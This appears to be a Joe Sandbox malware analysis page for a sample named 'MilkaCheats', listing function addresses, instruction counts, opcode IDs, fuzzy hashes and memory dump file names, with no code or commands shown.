Instruction ID: 3a50d81f21baffcf5e6f02ce51dd085eb7892639d962efcd1379c2d438dd7efd
Opcode Fuzzy Hash: 469aef10517c8e6ed11567e95d59437010425f616737405d574992db5c7d68d2
Instruction Fuzzy Hash: C981D4783007409FD7698B68C8D0A3673A2FB99320F64AA6DD6D7476A6C771EC42CF50

Function 00102255 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58e011baf1f274a15ca0d2b85e0930cb7fbb668362ca05df75c81775f8321d0a
Instruction ID: b37447ddc7ed5dca2de04ad2a240cbfb6fe3faca50354ade1431564455d7efcb
Opcode Fuzzy Hash: 58e011baf1f274a15ca0d2b85e0930cb7fbb668362ca05df75c81775f8321d0a
Instruction Fuzzy Hash: A0B1D071508B808FD725DB38C8597AABFE0AB56314F484E6DD4EBC7382E375E0098B52

Function 00133450 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 563d7daf164b4fed33da84d1926617c64e4ef01414d8237d64bb4c958d90a038
Instruction ID: 0ead804769a89140c6557445affd36570b50f3f738ea79304fa8c0113e74adc2
Opcode Fuzzy Hash: 563d7daf164b4fed33da84d1926617c64e4ef01414d8237d64bb4c958d90a038
Instruction Fuzzy Hash: A381F4B96043129FD718DF18C891A2AB7F2FF98710F19852CE9958B361E730EE51CB85

Function 00122234 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb8faee804e823a104e24101c70fdb1ab6c5a7c9383b4e6ba0c93962bc8aa6c7
Instruction ID: 62f421c7cbbaf2dc15432730546d84512a922752dd47936b7735ac107cf2f49c
Opcode Fuzzy Hash: fb8faee804e823a104e24101c70fdb1ab6c5a7c9383b4e6ba0c93962bc8aa6c7
Instruction Fuzzy Hash: 91B12872609B808BC3158A38D8943EABFE2AFD6314F1D897CD4DE8B346DB396449C711

Function 000F34FA Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a725ce10067c5c86e93e244941834ec4d336aa822e19a2b916f881735527c625
Instruction ID: 8d3e1d961eb3c2ac075d339de2ebd563ad179ae47785eb33ee55dc39f6307804
Opcode Fuzzy Hash: a725ce10067c5c86e93e244941834ec4d336aa822e19a2b916f881735527c625
Instruction Fuzzy Hash: DA9140B2A083499BE7658E55C48033BB7D2AFA0324F1C857DEA854B751D7F4DE09E382

Function 00114AF0 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c86c58ad7a1e8342798cdd8c05a9322cebf3141648c40c5ae5c6ccf8a9b1d0ad
Instruction ID: c77342cb72f51e18c6f4d668e0ed66babc1206b08baac3af48dbfdc800a26d5c
Opcode Fuzzy Hash: c86c58ad7a1e8342798cdd8c05a9322cebf3141648c40c5ae5c6ccf8a9b1d0ad
Instruction Fuzzy Hash: 1951E1B06043049BEB249F24CC96BB733B4EF82B68F054568F985CB291F375D840C7A6

Function 00122FD7 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2199d5db8f011725805a65f7e69af872dd2df59057d4f4cabfeae211ddd84e5b
Instruction ID: e4a25dcfb8be5cfe88e515da5682c476b1de16274a9200679b0da4a06357a852
Opcode Fuzzy Hash: 2199d5db8f011725805a65f7e69af872dd2df59057d4f4cabfeae211ddd84e5b
Instruction Fuzzy Hash: 38A10775A08B808FD3158B38D4953A7BFE2AF96304F08897DD4EE8B387D77964498712

Function 00122871 Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75587898d4b20287e5d10b609ca1fbdbe6397157e5c19bc964121fa90aad5611
Instruction ID: b858f25b15917993ecf38bed5650bdf12b2668f9bcb542bb5b467b8cb735ca3d
Opcode Fuzzy Hash: 75587898d4b20287e5d10b609ca1fbdbe6397157e5c19bc964121fa90aad5611
Instruction Fuzzy Hash: 2BA1E571A08B908FD3158B38D4953ABBFE1AF96308F09887CC5DE8B747D6796409CB12

Function 0011982E Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 035966e59cb089cc9ecec3b7a66a914e959d588b8aaa53a1e4d444320fb6b78e
Instruction ID: be2ebb8b26e23f0987e2d764d565b6855e7c0af5b51310f5e93d82c86a1ecedf
Opcode Fuzzy Hash: 035966e59cb089cc9ecec3b7a66a914e959d588b8aaa53a1e4d444320fb6b78e
Instruction Fuzzy Hash: 6C91C8B19083528FC718CB14D4A15ABF7D2AFD5314F19492EF4E987242D734E989CB93

Function 000F3460 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 156ef6ffea12f41daa75d01c8c9d69208e4feeab28ba26f8fa8cb0801c74a859
Instruction ID: 395feafe7b64ccbb05956eb8c24310aaf19785c23664f3c15f4c5c61a0bf4f7a
Opcode Fuzzy Hash: 156ef6ffea12f41daa75d01c8c9d69208e4feeab28ba26f8fa8cb0801c74a859
Instruction Fuzzy Hash: B87124F690874A9BE7758A19C400337F7D2AFE0324F19C25DDAAA8BB40E771CA04E741

Function 000FC370 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5a6a8b78d6897a9693bedb438211d75863f0ba07d725300655134a4406406dc
Instruction ID: 7ebd93e48f75502024ae248089678e78897777e6633a064fac958d392f2b5539
Opcode Fuzzy Hash: a5a6a8b78d6897a9693bedb438211d75863f0ba07d725300655134a4406406dc
Instruction Fuzzy Hash: 74517037E199AC4BE7248D3C4D0227D6A530BD733072EC366DEB19B7D5C6259D06A390

Function 001292A0 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66b225f534b4c92af21b40b67d74a3dd92fcbfcd04dd7a83c7aff41045d5d052
Instruction ID: 66a879bbd7d4a3797e37ce9e2dfc2705317f8be85f6324041fe800090fde18ad
Opcode Fuzzy Hash: 66b225f534b4c92af21b40b67d74a3dd92fcbfcd04dd7a83c7aff41045d5d052
Instruction Fuzzy Hash: CF514EB16087548FE314DF69D49475BBBE1BBC4314F044E2DE4E987351E379D6088B82

Function 0011FB8C Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de5c8f5941c8c4e666e852ac34aa0f9636ef7c2b12cd21e9a2eac67626b439a4
Instruction ID: 1c2989bd8f03f4a8f630b8eb7bfeab221cfadadee167d3af9535f00db1b8ecfa
Opcode Fuzzy Hash: de5c8f5941c8c4e666e852ac34aa0f9636ef7c2b12cd21e9a2eac67626b439a4
Instruction Fuzzy Hash: 5551AF341047818BD7198F2AC054B62BBE1EF97310F1885ADC8DA8F7A7C778D886D7A0

Function 0011FBC9 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9448dad7455a6c2d0fa9e264fac4d1cd07268da0c5be52706aa6d5d10f562483
Instruction ID: 3c7cedc0ac633030e8259d2970b6e917d92c336745661068d4d3fe81b86ad27a
Opcode Fuzzy Hash: 9448dad7455a6c2d0fa9e264fac4d1cd07268da0c5be52706aa6d5d10f562483
Instruction Fuzzy Hash: FB51E0351047818BD7198F2A8454B62FBE2EFA3310F1985ADC4D58F7A6C778D88797A0

Function 000F3CA0 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 858bf964fc92ccfbedb09fe89dd753bb7af0df08b3fb9ddcf59ee6261a5a16e7
Instruction ID: 8f95c5d0338fbdbe9fb2c425c6389cce316e563c81560e19b04c2135c05d6268
Opcode Fuzzy Hash: 858bf964fc92ccfbedb09fe89dd753bb7af0df08b3fb9ddcf59ee6261a5a16e7
Instruction Fuzzy Hash: CD51A1B5A042049FC714DF18D880926B7E1FF89334F15466CE99A8B792DB31ED42DB92

Function 001049E7 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84594e3f94de086c31e4512217a2bc6699983e038b910d5dc55f306a931a5830
Instruction ID: 678eb7b2f86981d195e01d452be9d9767e2219a233d2273dc4fad19b34b93d23
Opcode Fuzzy Hash: 84594e3f94de086c31e4512217a2bc6699983e038b910d5dc55f306a931a5830
Instruction Fuzzy Hash: CF612872618F818FC3358A38899536ABFD0AB56224F494F6CD5EBC77D2D268E105CB12

Function 00104DA7 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea545cbe2e87b428438928655b122017bfb17b85c6afc828dab28c860962af4b
Instruction ID: 9ada3668f4b84ed758bf1c001fb5049d264aca6635640d95da68292361ba2a84
Opcode Fuzzy Hash: ea545cbe2e87b428438928655b122017bfb17b85c6afc828dab28c860962af4b
Instruction Fuzzy Hash: E3513672118F818BC3358A3C88952AABFD16B57224F994F6CC5EB877D3D668E106C712

Function 000F2FB0 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc43c5c2cd654b211e157eedde0c48079f64d155648584eba78bbcb031170af3
Instruction ID: 7281c77feeb784c54209b80967e38c5d63335881db8c15ad86ba6ed125836ed7
Opcode Fuzzy Hash: cc43c5c2cd654b211e157eedde0c48079f64d155648584eba78bbcb031170af3
Instruction Fuzzy Hash: 65412B63A1052907E7680A34DCA437AF692FB81374F0D4339EB664B7D2D6298E4CF295

Function 0013231D Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2eaceb5605e4779fe2247ca4e26a22ddc6e43edbb3206fdbecd77a42da998a18
Instruction ID: c8ef06880aad6556e4461ebdbbe54fa106b9a7230b6e7256cf04e4bf180788f7
Opcode Fuzzy Hash: 2eaceb5605e4779fe2247ca4e26a22ddc6e43edbb3206fdbecd77a42da998a18
Instruction Fuzzy Hash: 6A41EB32F541548BCF1CCFB889923FEBBB6AB8E214F1D916AC555FB281D6348D014794

Function 0011D980 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd581b6ec7c7f425c63cc146eff1f25cbf105340cfe496fa68f084a1933940c1
Instruction ID: 3d4e642e0b278a75a9b60b5d5c7f28abba1c20a54278d69b99d0480e6379e9b5
Opcode Fuzzy Hash: dd581b6ec7c7f425c63cc146eff1f25cbf105340cfe496fa68f084a1933940c1
Instruction Fuzzy Hash: 52314AB3E14A2C0BD71C9D2DAC1527A71828BD4215F4EC37DDC6A8F3C6EE344D159281

Function 000FFAF8 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcf606195e4c766e80ba9320d91c2f8eeec9d3833f6af36b7d63a8ad953fce48
Instruction ID: cd4287c316904ce81a44bdab21cb484f4ac7aadcdef47fc2b9e90a592c30dde3
Opcode Fuzzy Hash: bcf606195e4c766e80ba9320d91c2f8eeec9d3833f6af36b7d63a8ad953fce48
Instruction Fuzzy Hash: C431B4342447058BEB79DB65D8A093673E3AF98300B54586DD6870BEA7CB30BC82DB44

Function 001302DC Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b97b03205b5aa80ded3f4eb2b9659e2a0b8168608e27587488d4f19b3477fa95
Instruction ID: ef1878413f2572013884cd0d6c4d27ff6266847ed3c768bb76897fb67446200d
Opcode Fuzzy Hash: b97b03205b5aa80ded3f4eb2b9659e2a0b8168608e27587488d4f19b3477fa95
Instruction Fuzzy Hash: 1D21B431F045654FCB0DCE7C88A11BEFAE67B8E214F09D66AD426E7296D73099004B84

Function 0011AC52 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

